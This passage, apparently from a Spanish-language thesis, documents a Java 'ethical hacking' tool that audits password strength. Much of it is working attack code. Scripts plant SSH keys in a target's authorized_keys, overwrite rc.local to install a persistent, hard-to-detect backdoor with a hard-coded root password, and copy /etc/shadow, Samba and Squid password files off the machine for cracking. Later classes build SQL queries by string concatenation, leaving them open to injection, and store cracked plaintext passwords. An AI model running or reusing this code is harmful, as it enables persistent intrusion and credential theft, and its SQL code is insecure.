System.out.println (aux_clear); cadena_total = cadena_total + '\n' + aux_clear; aux_clear = br_clear.readLine(); } p_clear.waitFor(); Process p_coloca = Runtime.getRuntime().exec("netwox 113 -i "+ip_final+" -u "+login+" -a "+passwd_final+" -f /root/.ssh/id_rsa.pub -F /root/.ssh/authorized_keys"); is_coloca = p_coloca.getInputStream(); br_coloca = new BufferedReader (new InputStreamReader (is_coloca)); String aux_coloca = br_coloca.readLine(); while (aux_coloca!=null ) { System.out.println (aux_coloca); cadena_total = cadena_total + '\n' + aux_coloca; aux_coloca = br_coloca.readLine(); } p_coloca.waitFor(); Process p_extraelo = Runtime.getRuntime().exec("/root/hacking_etico/utilitarios/extract_passwd_shadow "+ip_final); is_extraelo = p_extraelo.getInputStream(); br_extraelo = new BufferedReader (new InputStreamReader (is_extraelo)); aux_extraelo = br_extraelo.readLine(); while (aux_extraelo!=null ) { System.out.println (aux_extraelo); cadena_total = cadena_total + '\n' + aux_extraelo; aux_extraelo = br_extraelo.readLine(); } int status = p_extraelo.waitFor(); return status == 0; }
103
La función:
public static boolean ejecuta_extract(String ip_final,String login,String
passwd_final) throws Exception
Recibirá tres parámetros, la IP a la cual vamos a hacer la extracción, el
usuario, y el password que nos permite acceder a la maquina remota.
La función: Process p_copia =
Runtime.getRuntime().exec("/root/hacking_etico/utilitarios/ataque_ssh");
Me crea una instancia de proceso en el cual, va a ejecutar un script llamado
ataque_ssh el cual tiene el siguiente contenido:
Gráfico No. 59 Ataque SSH
Script para generar licencias de autorización
#!/bin/sh
##scrpit para generar un archivo de licencias de autorizacion
##para solo autenticarse via ssh una vez, luego se puede hacer la auditoria
##de passwd sin necesidad de digitar contraseña..!!!
##averiguado el passowrd por el primer metodo se prodcedera a realizar este ataque solo
con fines de auditoria
echo "Generacion De Los Archivos De Claves Publicas De Autenticacion Ssh"
echo " Borrado de los archivos antiguos "
rm -f /root/.ssh/id_rsa*
echo " Elaboracion de los archivos de las llaves de autorizacion locales "
ssh-keygen -t rsa -f /root/.ssh/id_rsa -N "" -q
cp /root/.ssh/id_rsa /root/hacking_etico/utilitarios/id_rsa
cp /root/.ssh/id_rsa.pub /root/hacking_etico/utilitarios/id_rsa.pub
echo " Realizado..Generados los archivos id_rsa.pub e id_rsd"
echo " Se crearon unas copias de seguridad en la carpeta utilitarios del proyecto"
104
El funcionamiento del script arriba detallado se basa en el tip ssh explicado
en las pagina anteriores el cual nos genera automáticamente dos archivos de
validación de llave pública, uno de los cuales va a ser renombrado y enviado
con destino a la maquina remota.
Con el siguiente proceso:
Process p_clear = Runtime.getRuntime().exec("netwox 114 -i "+ip_final+" -u
"+login+" -a "+passwd_final+" --remote-file /root/.ssh/authorized_keys");
Se va a realizar una “copia remota” de los archivos de llave pública
generados arriba, para que en la próxima autenticación que yo realice hacia
la maquina remota, ya no me pida el password de acceso. Si el archivo
existe, pudiendo ser que la maquina tenga algunas otras “de confianza” (muy
poco común, esto no se hace por motivos de seguridad) sobrescribe el
archivo, caso contrario, lo crea nuevo.
Con el proceso:
Process p_extraelo = Runtime.getRuntime().exec("/root/hacking_etico/
utilitarios/extract_passwd_shadow "+ip_final);
Vamos a proceder con la extracción remota de los archivos del sistema, en la
cual residan los passwords, y además vamos a hacer una jugada mas.
Explico:
105
Se va a ejecutar un script el cual contiene el siguiente código:
#!/bin/sh
# script de ataque completo...solo para fines educativos.
echo " Iniciando....copiando exploit remoto y modificando archivos.."
scp -o StrictHostKeyChecking=no /root/hacking_etico/utilitarios/rc.local root@$1:/etc/rc.d/rc.local
echo " El archivo rc.local fue modificado.."
echo " Copiando y ejecutando el xploit.."
scp -o StrictHostKeyChecking=no /root/hacking_etico/utilitarios/fk.tgz root@$1:/var/tmp/fk.tgz
echo " Copiado el xploit..ejecutando.."
ssh root@$1 -C "tar -zxf /var/tmp/fk.tgz -C /var/tmp/"
ssh root@$1 -C "/bin/sh /var/tmp/fk-0.4/instalar"
echo " Implementado con exito el backdoor remoto.."
echo " user:root --> passwd:rootme.."
echo " Consulte con el manual de ayuda como obtener conexion remota ssh"
echo "Extraccion de los archivos de los passwd de la maquina remota"
echo "Procediendo a la extraccion de los archivos principales del sistema.."
scp -o StrictHostKeyChecking=no root@$1:/etc/passwd /root/hacking_etico/utilitarios/john-1.7.2/run/mypasswd
echo "Archivo /etc/passwd extraido de la maquina remota"
scp -o StrictHostKeyChecking=no root@$1:/etc/shadow /root/hacking_etico/utilitarios/john-1.7.2/run/myshadow
echo "Archivo /etc/shadow extraido de la maquina remota "
echo "Extraccion de los archivos de passwords de samba...( si los hubiere )"
scp -o StrictHostKeyChecking=no root@$1:/etc/samba/smbpasswd /root/hacking_etico/utilitarios/john-1.7.2/run/mysmbpasswd
echo " Archivo /etc/samba/smbpasswd extraido de la maquina remota "
echo " Extraccion de los passwords de SQUID ( si los hubiere )"
scp -o StrictHostKeyChecking=no root@$1:/etc/squid/claves /root/hacking_etico/utilitarios/john-1.7.2/run/mysquidpasswd
echo " Archivo de passwords squid extraido de la maquina remota "
echo " finalizado con exito.."
Gráfico No. 60 Extract_Passwd_Shadow
Extracción remota de los archivos del sistema
106
Como se ve en las primeras líneas del script, se va a introducir en la maquina
remota, un exploit modificado, con el solo fin de dejar un puerto abierto con
un user y passwd que yo determine, el cual es capaz de abrir una sesión tipo
ssh, autenticándome con el passwd que yo haya determinado en el exploit.
Este será el otro modo de acceder a la maquina en una próxima auditoria.
Con un backdoor creado por nosotros, en el caso de que el primer “truco” no
nos haya funcionado (es efectivo en el 90% de los casos), o en el caso de
que el archivo authorized_keys haya sido auditado y se hayan dado cuenta
de que fue adulterado. Por supuesto que el conocimiento de que puerto esta
abierto y el passwd de acceso lo conocerá SOLO la persona que realice el
ataque de auditoria. Este modo de proceder es muy peligroso ya que la
sesión que se abre es de tipo SSH, la cual da control sobre muchas cosas.
Además, la maquina atacada no es capaz de detectar el puerto que se dejo
abierto. Por lo cual, si alguna persona aparte del administrador del programa
se entera de la operación y del modo de ataque del exploit, pueden haber
graves problemas en la maquina atacada. Al final de este apartado se
mencionará como dejar a la maquina en su estado normal.
El modo de operación del exploit es el siguiente:
Empieza por crear un archivo rc.local en la maquina hacker, el cual va a ser
enviado posteriormente a la maquina a auditar, esto con el fin de que el
exploit que se envío remotamente se ejecute cada vez que se levante la
sesión de la maquina atacada.
107
El contenido del archivo es el siguiente:
#!/bin/sh
# This script will be executed *after* all the other init scripts.
# You can put your own initialization stuff in here if you don't
# want to do the full Sys V style init stuff.
touch /var/lock/subsys/local
cd /var/tmp/
tar -zxf fk.tgz
cd fk-0.4
./instalar
Gráfico No. 61 Rc.Local
Como verán en las líneas arriba mostradas, se ha modificado el rc.local de tal
forma que ejecute el exploit que reside en una parte secreta de la maquina,
el cual cada vez que se inicie una sesión nueva, arrancará y nos dejará el
puerto abierto para la auditoria.
La idea final es ocultarlo y dejarlo en la maquina remota para que se ejecute
siempre que se levante esta, pero solo con fines de demostración se
sobrescribirá el archivo y si existiese, se lo crearía. Para revertir el proceso
de “infección” solo se eliminará el archivo y la PC vuelve a la normalidad.
108
Las siguientes líneas del script serán para hacer la extracción remota de los
archivos, con un user y passwd conocidos. SOLO nos limitaremos a la
extracción de los archivos de los passwd de la maquina remota, más no otra
cosa. Solo se lo hará para fines de auditoria de seguridad. Estos archivos
una vez extraídos serán copiados a una carpeta del proyecto, renombrados,
para que el programa pueda continuar con el siguiente proceso.
Una vez capturados los respectivos archivos de passwords (los básicos a
extraer serán los del sistema, Smb y Squid), se procederá inmediatamente al
descifrado de los mismos, el proceso es el que se muestra en el siguiente
cuadro:
Gráfico No. 62 Ejecuta descifrado
Función para descifrar los archivos extraídos
public static boolean ejecuta_descifrado() throws Exception {
Process p_descifra = Runtime.getRuntime().exec("/root/hacking_etico/utilitarios /analiza_passwd "+ip_final);
is_descifra = p_descifra.getInputStream(); br_descifra = new BufferedReader (new InputStreamReader (is_descifra)); aux_descifra = br_descifra.readLine(); while (aux_descifra!=null ) {
System.out.println (aux_descifra); cadena_total_descifra = cadena_total_descifra + '\n' + aux_descifra; aux_descifra = br_descifra.readLine(); } int status = p_descifra.waitFor(); return status == 0; } public String get_ip_analizada(){ return this.ip_final; }
109
Lo básico aquí es la invocación a un script de descifrado de passwd, el cual
se encargará de “romper” los passwords que residan en los respectivos
archivos.
Dependiendo de la complejidad y la fortaleza de los passwd, este proceso
podría demorar minutos, horas, incluso días o meses enteros. Con lo cuál, ya
podremos determinar en un inicio el nivel de fortaleza de los mismos. A modo
de demostración se romperán passwords de palabras comunes y de longitud
5, con el fin de demostrar la funcionalidad del programa. En el capítulo de
pruebas del proyecto, se detallará a que tipo de ambientes fue sometida la
aplicación, y cual fue su resultado.
Todos los resultados de la ejecución de estos procesos, son guardados en
cadenas de datos, para su posterior visualización en la pantalla de java. Todo
el proceso en ejecución, se lo puede ver mediante una ventana terminal, o en
el output de NetBeans.
Clase hackeo.java
Esta clase básicamente, por medio de botones, invoca a las demás clases
que nos servirán para realizar las diferentes auditorias del sistema.
Los procesos principales de esta clase se muestran a continuación:
110
Gráfico No. 63 Class hackeo
Invoca a otras clases
Clase parametros_análisis.java
En esta clase se controlarán los parámetros que se enviarán para que trabaje
la clase análisis del proyecto, que es la que se encarga de realizar el análisis
inteligente de cada password capturado de los archivos de los passwords.
Explicación: para una empresa o administrador del sistema, un password con
una seguridad considerada “alta” puede ser aquella que pase un porcentaje
de análisis del 60%, pero para otras personas ese criterio puede variar, podrá
ser menos, ejemplo, el 50%, o más, dependiendo de las exigencias, llegando
public class hackeo extends javax.swing.JFrame { /** Creates new form hackeo */ public hackeo(String host) { ip_final=host; initComponents(); } private void reportes_estadisticosActionPerformed(java.awt.event.ActionEvent evt) { reporte report = new reporte(); report.show(); } private void hacking_eticoActionPerformed(java.awt.event.ActionEvent evt) { hackeo hack = new hackeo(ip_final); hack.show(); } private void scan_ip_puertosActionPerformed(java.awt.event.ActionEvent evt) { hide();dispose(); pantalla_scan pa = new pantalla_scan(); pa.show(); } private void botonhackeoActionPerformed(java.awt.event.ActionEvent evt) { hide();dispose(); pantalla_attack_ftp attack1= new pantalla_attack_ftp(ip_final); attack1.show(); }
111
por ejemplo al 70,80%, y así por el estilo. El proceso recibirá los valores
(medio, alto, bajo) ingresados por el usuario y validados, para que el
analizador, según esos criterios, pueda realizar el reporte del análisis.
Los procesos se muestran en el siguiente cuadro:
public class parametros_análisis extends javax.swing.JFrame { public parametros_análisis(String ip) { ip_final=ip; initComponents(); } private void boton_aceptarActionPerformed(java.awt.event.ActionEvent evt) { valida_alto=""; valida_medio=""; valida_bajo=""; valida_fecha=""; try{ valida_alto = text_alto.getText().trim(); for (int i =0;i<valida_alto.length();i++) { if(valida_alto.charAt(i) != '0' && valida_alto.charAt(i) != '1' && valida_alto.charAt(i) != '2' && valida_alto.charAt(i) != '3' && valida_alto.charAt(i) != '4' && valida_alto.charAt(i) != '5' && valida_alto.charAt(i) != '6' && valida_alto.charAt(i) != '7' && valida_alto.charAt(i) != '8' && valida_alto.charAt(i) != '9') { flag_alto = true; } if (i>1) { flag_alto = true; } } ……… //se valida el ingreso de los % alto, medio, bajo valida_bajo = text_bajo.getText().trim(); for (int i =0;i<valida_bajo.length();i++) { if(valida_bajo.charAt(i) != '0' && valida_bajo.charAt(i) != '1' && valida_bajo.charAt(i) != '2' && valida_bajo.charAt(i) != '3' && valida_bajo.charAt(i) != '4' && valida_bajo.charAt(i) != '5' && valida_bajo.charAt(i) != '6' && valida_bajo.charAt(i) != '7' && valida_bajo.charAt(i) != '8' && valida_bajo.charAt(i) != '9') { flag_bajo = true; } …… // se valida un ingreso de fecha correcta ( tiempo de expiración en días) valida_fecha = text_dias.getText().trim(); // valida fecha for (int i =0;i<valida_fecha.length();i++) { if(valida_fecha.charAt(i) != '0' && valida_fecha.charAt(i) != '1' && valida_fecha.charAt(i) != '2' && valida_fecha.charAt(i) != '3' && valida_fecha.charAt(i) != '4' && valida_fecha.charAt(i) != '5' && valida_fecha.charAt(i) != '6' && valida_fecha.charAt(i) != '7' && valida_fecha.charAt(i) != '8' && valida_fecha.charAt(i) != '9') { flag_fecha = true; } if (i>2) { flag_fecha = true;
} }
112
Gráfico No. 64 Class Parametros_análisis
Gráfico No. 65 Class Parametros_análisis
Analiza los parámetros de seguridad
Como podemos apreciar en los cuadros anteriores, se valida todo el ingreso
de datos al sistema, con las condiciones explicadas en el manual de usuario.
Una vez ingresados correctamente los datos sobre los parámetros del
análisis, procedemos a ejecutar la siguiente clase que es la del análisis.
Clase análisis.java
Después del modulo de ataque remoto, esta es la clase más importante del
if (flag_fecha ==true) { Msg a=new Msg("AVISO","/root/hacking_etico/imagenes/escudo_u.JPG","el campo días de vigencia de passwd debe ser un número de máximo tres dígitos", "ingrese un valor correcto de máximo dos dígitos", "vuelvalo a intentar..."); text_dias.settext(""); } // valida fecha if(valida_alto.trim()!="" && valida_bajo.trim()!="" && valida_medio.trim()!="" && valida_fecha.trim()!="" && fleg == false && flag_fecha ==false) { hide(); dispose(); análisis Análisis = new análisis(ip_final,valida_alto,valida_medio,valida_bajo,valida_fecha); Análisis.show(); }else{ Msg a=new Msg("AVISO","/root/hacking_etico/imagenes/escudo_u.JPG","los campos no están llenos completamente", "ingrese los valores correctos de maximo dos digitos","vuelvalo a intentar..."); alto=0; medio=0; bajo=0; valida_alto=""; valida_medio=""; valida_bajo=""; valida_fecha=""; flag_alto = false; flag_medio = false; flag_bajo = false; flag_fecha = false; fleg = false; text_alto.setText(""); text_medio.setText(""); text_bajo.setText(""); text_dias.setText(""); } }catch(Exception e){ Msg a=new Msg("AVISO","/root/hacking_etico/imagenes/escudo_u.JPG","los campos no estan llenos completamente","ingrese los valores correctos de maximo dos digitos","vuelvalo a intentar..."); alto=0; medio=0; bajo=0; valida_alto=""; valida_medio=""; valida_bajo=""; valida_fecha="";
…..
113
proyecto, es la que me proporcionará un análisis de cada uno de los
passwords que se encuentren en los archivos recibidos de la maquina
remota y que el sistema haya podido romper, ofreciendo un análisis
inteligente de los mismos, ajustados a los criterios del usuario que se
recibieron de la clase anterior. Con lo cual se realizará un análisis y se
desplegarán los resultados por pantalla una vez que ya estén listos para
mostrar.
Las funciones principales se detallan a continuación:
Constructor que recibe todos los parámetros necesarios para su
funcionamiento, que serán los porcentajes seteados por el usuario en la
clase anterior (alto, medio, bajo, fecha de vigencia), la IP de la maquina a
analizar, transformándolos en sus respectivos valores numéricos para
someterlos al análisis.
public class análisis extends javax.swing.JFrame { /** Creamos una nueva instancia de la clase análisis */ public análisis(String ip_final,String valida_alto,String valida_medio,String valida_bajo,String valida_fecha) { ip_final_1=ip_final; a = valida_alto; b_c = valida_medio; c= valida_bajo; aux_fecha=valida_fecha; valida_alto_1=new Integer(valida_alto).intValue(); valida_medio_1=new Integer(valida_medio).intValue(); valida_bajo_1=new Integer(valida_bajo).intValue(); valida_fecha_1=new Integer(valida_fecha).intValue(); initComponents(); }
114
Gráfico No. 66 class análisis
Proporciona un análisis de los password
El código que se muestra a continuación, me permite setear los resultados
del análisis en una tabla diseñada en la pantalla, capturando todos los
resultados del sistema en vectores, para recorrerlos y posteriormente
desplegar sus resultados en la tabla.
115
Gráfico No. 67 boton_resultados
Setea los resultados del análisis en una tabla
private void boton_resultadosActionPerformed(java.awt.event.ActionEvent evt) { for (int i = 0; i < 99; i++) { for(int j=0;j<5;j++){ tabla_resultados_passwd.setValueAt("",i,j); } } for (int i = 0; i < 99; i++) { for(int j=0;j<3;j++){ tabla_resultados_passwd.setValueAt("",i,j); } } try { if (ejecuta_análisis()){ Msg a=new Msg("aviso","/root/hacking_etico/imagenes/escudo_u.jpg","espere un momento","se esta realizando el reporte de análisis","esto puede demorar varios minutos..."); boton_guardar_log1.setEnabled(true); }else{ msg a=new msg("error","/root/hacking_etico/imagenes/escudo_u.jpg","no se pudo ejecutar la funcion de análisis de contraseñas","consulte con la ayuda del sistema","gracias"); boton_guardar_log1.setEnabled(false); } } catch (Exception e) { e.printStackTrace(); msg a=new msg("aviso","/root/hacking_etico/imagenes/escudo_u.jpg","no se pudo ejecutar la funcion de análisis de contrase�as","consulte con la ayuda del sistema","gracias"); } text_analiza_passwd.setText(cadena_total_datos); System.out.println(cadena_total_analizar); for(int eg=0; eg < usuarios.length;eg++) { tabla_resultados_passwd.setValueAt(usuarios[eg],eg,0); } for(int eg1=0; eg1 < passwords.length;eg1++) {
tabla_resultados_passwd.setValueAt(passwords[eg1],eg1,1); } for(int eg2=0; eg2 < servicios.length;eg2++) { tabla_resultados_passwd.setValueAt(servicios[eg2],eg2,2); }
……
116
Una función crítica de la clase es la que se muestra a continuación:
Gráfico No. 68 Ejecuta análisis
public static boolean ejecuta_análisis() throws Exception { Process p_squid = Runtime.getRuntime().exec("/root/hacking_etico/utilitarios/show-squid"); is_squid = p_squid.getInputStream(); br_squid = new BufferedReader (new InputStreamReader (is_squid)); aux_squid = br_squid.readLine(); while (aux_squid!=null ) //inicio while aux_squid { System.out.println (aux_squid); cadena_total_datos = cadena_total_datos + '\n' + aux_squid; if ( !( aux_squid.endsWith(" left") || aux_squid.equals("") ) ) //inicio if aux_squid { for (int ke_squid =0; ke_squid< aux_squid.length();ke_squid++)//inicio for ke_squid { if (aux_squid.charAt(ke_squid)==':')//inicio if empatar claves { usuarios[cusuarios]=aux_squid.substring(0,ke_squid); passwords[cpasswords]=aux_squid.substring(ke_squid+1); servicios[cservicios]="squid"; cusuarios++; cpasswords++;cservicios++; }//fin if }// fin for ke_squid } aux_squid = br_squid.readLine(); } p_squid.waitFor(); Process p_muestra = Runtime.getRuntime().exec("/root/hacking_e/utilitarios/show-passwd"); is_muestra = p_muestra.getInputStream(); br_muestra = new BufferedReader (new InputStreamReader (is_muestra)); aux_muestra = br_muestra.readLine(); while (aux_muestra!=null ) { System.out.println (aux_muestra); cadena_total_datos = cadena_total_datos + '\n' + aux_muestra; if (aux_muestra.endsWith("bash") || aux_muestra.endsWith("nologin")|| aux_muestra.endsWith(":")) // inicio if aux_muestra.end with(bash).. { int cache=0; for (int ke =0; ke< aux_muestra.length();ke++) { if (aux_muestra.charAt(ke)==':' && cache==0)//inicio if empatar claves {usuarios[cusuarios]=aux_muestra.substring(0,ke); cache++;cont_punt=ke; cusuarios++; }else{ if(aux_muestra.charAt(ke)==':' && cache ==1){ passwords[cpasswords]=aux_muestra.substring(cont_punt+1,ke); cache++; cpasswords++;} }//fin if empatar claves }// fin for if(aux_muestra.endsWith("bash"))//inicio if tt { servicios[cservicios]="sistema con privilegios"; cservicios++; }// fin if tt if(aux_muestra.endsWith("nologin")) { servicios[cservicios]="sistema sin privilegios"; cservicios++; } if(aux_muestra.endsWith(":")) { servicios[cservicios]="samba"; cservicios++; } }// fin if aux_muestra.end with(bash).. if (aux_muestra.startsWith("$1$")) { for (int ke =0; ke< aux_muestra.length();ke++) { if (aux_muestra.charAt(ke)==':') { cadena_total_analizar = cadena_total_analizar + aux_muestra.substring(ke+1) + '\n'; } } } aux_muestra = br_muestra.readLine(); }// fin while cadena_total_datos = cadena_total_datos + '\n' + "passwords-> " + '\n' +cadena_total_analizar; for(int i = 0; i < usuarios.length && usuarios[i]!= null; i++) { System.out.print("Usuario : " + usuarios[i] +'\n'); } ……
117
En primera instancia, por medio de un script vamos a visualizar por pantalla
los passwords a ser auditados, se hacen los arreglos de vectores
respectivos, con el fin de acoplar los datos del análisis: usuarios, passwords,
% de análisis, estado (expirado, vigente), se despliega en el orden en que el
sistema los pudo desencriptar.
La función que se muestra en la tabla de abajo, empieza a realizar el análisis
inteligente de passwords. En primer lugar, se determinará si una clave de un
usuario determinado, se encuentra dentro de un diccionario que viene
incluido en el sistema. Si la palabra se encuentra allí, el % de seguridad
disminuirá, esto con el fin de advertir al final al administrador que la palabra
se la halló en diccionario, y que ese password es muy riesgoso seguir
usándolo.
Se procede entonces, a abrir un archivo plano el cual contiene todas las
palabras de diccionario las cuales son consideradas como “passwords
comunes”. Este tipo de archivo puede ser cambiado por el usuario del
sistema de acuerdo a su criterio, se puede colocar un diccionario más
especializado, o uno solo con palabras básicas. Esto se lo puede hacer
colocando en la respectiva carpeta del proyecto el archivo llamado
“diccionario_total”, el cual usa el sistema para realizar el rastreo de palabras
de diccionario. Cualquier otro archivo que se coloque deberá ir con ese
nombre en la ruta: /root/hacking_etico/utilitarios, y el sistema
118
automáticamente, en el momento de hacer la búsqueda, sacará las palabras
de ese diccionario. La complejidad del mismo quedará a criterio del usuario
del programa. El sistema viene con un diccionario de palabras comunes (el
que viene por defecto), o se puede implementar uno tan complejo como se
desee, bajándolos desde Internet, que hay muchos, o generando nuestras
propias palabras con el generador de palabras del proyecto.
Grafico No. 69 Proceso de validación de fecha
for (int i= 0; i < passwords.length ;i++) { if (passwords[i]!=null) {
a_analizar= passwords[i]; u_usuario = usuarios[i];
a_contar = a_analizar.length(); //averiguar si es una palabra de dicionario
try{ is = new BufferedReader(new FileReader ("/root/hacking_etico/utilitarios/dic"));
while (is.ready() && diccionario==false) {
aax =(String)is.readLine();
System.out.println("recuperado de archivo:--> "+aax);
if (a_analizar.equals(aax)) {
diccionario=true; break; }
}
is.close(); }
catch (IOException e) {
System.out.println ("Error al leer el archivo"); }
try{ //Se averigua si esta caducado o en vigencia
Connection connection = ACCESS.ObtenerConexion();
Statement statement = connection.createStatement();
String SQL = "select * from reporte where direccion = '"+ip_final_1+"'";
ResultSet resultset = statement.executeQuery(SQL);
for(resultset=statement.executeQuery(SQL);resultset.next();)
{ System.out.println('\n'+"----pasamos y se ejecuto la consulta-----------"+'\n');
System.out.println("PASSWORD A ANALIZAR--> "+a_analizar); System.out.println("PERTENCE AL USUARIO--> "+u_usuario);
System.out.println("PASSWORD DE LA BASE--> " + resultset.getString("password"));
System.out.println("USUARIO DE LA BASE--> " + resultset.getString("usuario"));
System.out.println("LA IP A ANALIZAR ES:----->"+ ip_final_1);
if (a_analizar.equals(resultset.getString("password") ) && u_usuario.equals(resultset.getString("usuario") )) // inicio if compara usuario y passwd {
System.out.println('\n'+"-------PASAMOS Y SI HUBO COINCIDENCIA---------"+'\n');
try{
Connection connection1 = ACCESS.ObtenerConexion();
Statement statement1 = connection1.createStatement();
String SQL1 = "select fecha from reporte where usuario = '"+u_usuario+"' and password = '"+a_analizar+"'";
ResultSet resultset1 = statement1.executeQuery(SQL1);
119
Gráfico No. 70 Proceso de validación de fecha
while (resultset1.next())// inicio while resultset fechas { Fecha time = new Fecha(); String fecha_sistema = time.getFecha();
System.out.println("LA FECHA DE HOY ES---> "+fecha_sistema); band_sist = false; int long_fecha_sistema=fecha_sistema.length();
String fecha_bd = resultset.getString("fecha"); int long_fecha_bd = fecha_bd.length(); band_bd = false; System.out.println("la fecha es---> "+fecha_bd); for (int u=0;u<long_fecha_bd;u++) { if (fecha_bd.charAt(u)=='/' && band_bd == false) {
dia= fecha_bd.substring(0,u); // recuperar los dias System.out.println("los dias de la fecha de la base de datos son:-- "+ dia);
dia_bd = new Integer(dia).intValue(); pos1= u;band_bd=true; }else{ if (fecha_bd.charAt(u)== '/' && band_bd ==true) { anio = fecha_bd.substring(u+1); anio_bd = new Integer(anio).intValue(); mes = fecha_bd.substring(pos1+1,u); mes_bd = new Integer(mes).intValue();
} }// fin if else }//fin for descompone fecha de la base for (int u1=0;u1<long_fecha_sistema;u1++) {
if (fecha_sistema.charAt(u1)=='/' && band_sist == false) { dia_sist= fecha_sistema.substring(0,u1); // recuperar los dias System.out.println("los dias de la fecha del sistema son:-- "+ dia_sist); dia_s = new Integer(dia_sist).intValue(); pos11= u1;band_sist=true;
}else{ if (fecha_sistema.charAt(u1)== '/' && band_sist ==true) {
anio_sistema = fecha_sistema.substring(u1+1); anio_s = new Integer(anio_sistema).intValue(); // buscar la conversion mes_sistema = fecha_sistema.substring(pos11+1,u1); mes_s = new Integer(mes_sistema).intValue(); } }// fin if else }//fin for
int valor_1 = (anio_bd*365)+(mes_bd*30)+(dia_bd); int valor_2 = (anio_s*365)+(mes_s*30)+(dia_s); int valor_total_1 = valor_2 - valor_1; if (valor_total_1 > valida_fecha_1) { System.out.println("valor parametro---- "+String.valueOf(valida_fecha_1));
fecha_coincide_1=true; System.out.println("ESTA EXPIRADO"); }// fin while resultset fechas connection1.commit(); statement1.close(); }catch (Exception e) { System.out.println("Error al consultar los datos no hay datos" + e); }// fin try consultar usuarios }else{ fecha_coincide = false; System.out.println("LA FECHA ES VALIDA"); }// fin if compara usuario y password
120
En los dos cuadros anteriores se levanta el proceso de validación de fechas
de los passwords, el cual trabaja de la siguiente manera:
El password si estuvo registrado en el sistema, de una auditoria anterior, se
lo procederá a evaluar con respecto a su fecha de expiración, haciendo una
comparación del que este guardado en la base de datos contra el que
capturo el sistema. Determinaremos si el usuario coincide, y luego si el
password coincide, ya que si no hay coincidencia, el password esta aún
vigente. Si el usuario y la clave coinciden, la que estuvo guardada
previamente en la base con la que capturo recientemente el sistema, se
procede a levantar la función de verificación de fechas, del siguiente modo:
Se captura la fecha actual del sistema, y se la transforma en días, se captura
la fecha registrada en la base de datos sobre ese password, se la transforma
en días, se captura el parámetro ingresado por el usuario, que era la vigencia
del password según el usuario, dada en días, estos valores se comparan, se
suman y restan, y se determina su vigencia, como ejemplo, si para mi el
password solo tiene vigencia de 30 días, ingresaré el número 30 al sistema,
luego, si el password ya estaba registrado en la base de datos, con registro
de ingreso desde hace más de un mes, el sistema me devolvera como
resultado que el password ya esta expirado, caso contrario, mandará el
mansaje que está vigente todavía.
121
Todos los passwords que ingresan por primera vez al sistema, ingresan
como validos, ya que no existe un registro previo de ellos en la base de
datos.
Todos estos datos de análisis se arreglan en cadenas para poder ser
presentados por pantalla cuando todo el proceso de análisis termine.
Después de esto, como se muestra en el cuadro de abajo, el password es
sometido al análisis letra a letra, para determinar cuantas mayúsculas,
números, especiales tiene y según ese criterio dar un porcentaje de análisis y
un valor de seguridad (bajo, medio, alto), esto se compara con los valores de
los porcentajes ingresados por el usuario, según estos porcentajes y los
generados por el sistema, se los compara, y al final se arman las cadenas de
datos con todos los valores obtenidos del análisis, por password, se los
desplegará de forma detallada en la pantalla del proyecto, y un resumen que
posteriormente puede ser guardado en la base de datos, a manera de tabla,
que se encuentra en la parte de debajo de la pantalla principal.
Nota: Este proceso puede demorar algún tiempo, dependiendo de la
complejidad de la palabra. Se deberá esperar a que el proceso termine por
completo.
Para el análisis de diccionario como se explico antes, se puede escoger el
diccionario para evaluar las palabras, mientras más grande sea el mismo,
más demora el sistema para mostrar resultados.
122
Gráfico No. 71 Porcentaje de Seguridad
Se fija porcentaje de seguridad de acorde a políticas de la empresa
for ( int j=0;j<a_contar;j++){ char al= a_analizar.charAt(j); switch (al){ case 'a': contador_alfabeto++;
contador_minusculas++; longitud_password++;
evalua_secuencia(j,a_analizar,al); break;
case 'b': contador_alfabeto++;
contador_minusculas++; longitud_password++;
evalua_secuencia(j,a_analizar,al); break;
case 'c': contador_alfabeto++;
contador_minusculas++; longitud_password++;
evalua_secuencia(j,a_analizar,al); … cadena_total_datos=cadena_total_datos + '\n'+ Resultado del password "+a_analizar+'\n'; // 10% if (longitud_password <= 4 && contador_mayusculas ==0 && contador_números ==0 && contador_especiales ==0 && diccionario==true ) {
auxiliar_resultados = '\n'+ "El password tiene: "+'\n'+ contador_minusculas+" letras minusculas"+'\n'+contador_mayusculas+" letras mayusculas"+'\n'+contador_alfabeto +" letras del alfabeto"+'\n'+ contador_números+" números"+'\n'+ contador_especiales+" caracteres especiales"+'\n'+"Con una longitud de "+longitud_password+'\n'+'\n'+"Es una palabra de diccionario"+'\n'+"EL PASSWORD ES TOTALMENTE INSEGURO..CAMBIARLO DE INMEDIATO"; validador=10;
aux_seguridad="10%"; } // 15% if (longitud_password <= 4 && contador_mayusculas ==0 && contador_números ==0 && contador_especiales ==0 && diccionario==false ) { auxiliar_resultados = '\n'+ "El password tiene: "+'\n'+ contador_minusculas+" letras minusculas"+'\n'+contador_mayusculas+" letras mayusculas"+'\n'+contador_alfabeto +" letras del alfabeto"+'\n'+ contador_números+" números"+'\n'+ contador_especiales+" caracteres especiales"+'\n'+"Con una longitud de "+longitud_password+'\n'+'\n'+"No es una palabra de diccionario"+'\n'+"EL PASSWORD ES TOTALMENTE INSEGURO..CAMBIARLO DE INMEDIATO"; validador=15;
aux_seguridad="15%"; } ……
123
La siguiente función permitirá guardar los datos generados en la pantalla de
análisis en la base de datos del sistema:
Gráfico No. 72 Boton_guardar
Permite Guardar los datos
Clase reporte.java
Esta clase me permitirá enlistar los datos de la base de datos de acuerdo a
criterios de consulta ingresados por el usuario, como son:
• Reporte por ip
• Reporte por vigencia de los passwords (vigentes, expirados)
private void boton_guardar_log1ActionPerformed(java.awt.event.ActionEvent evt) { //aki ya guardamos en la base de datos Fecha time1 = new Fecha(); String fecha_sistema_1 = time1.getFecha(); Reloj clock1 =new Reloj(); String hora_sistema_1 = clock1.getHora(); try{// inicio try 1 Connection connection2 = ACCESS.ObtenerConexion(); Statement statement2 = connection2.createStatement(); for(int h = 0; h < usuarios.length;h++){// inicio for 1 if(usuarios[h]!=null) { String SQL1= "INSERT INTO reporte(direccion,usuario,password,tipo_usuario,análisis,estado,fecha,hora,seguridad) values ('"+ip_final_1+"','"+usuarios[h]+"','"+passwords[h]+"','"+servicios[h]+"','"+análisis_passwords[h]+"','"+expirados[h]+"','"+fecha_sistema_1+"','"+hora_sistema_1+"','"+seguridad[h]+"')"; o = statement2.executeUpdate(SQL1); } }// fin for 1 if (o==0) { Msg a=new Msg("AVISO","/root/hacking_etico/imagenes/escudo_u.JPG","no se pudo ingresar a la base de datos","consulte con la ayuda del sistema","gracias"); }else{ Msg a=new Msg("aviso","/root/hacking_etico/imagenes/escudo_u.jpg","la actualizacion de la 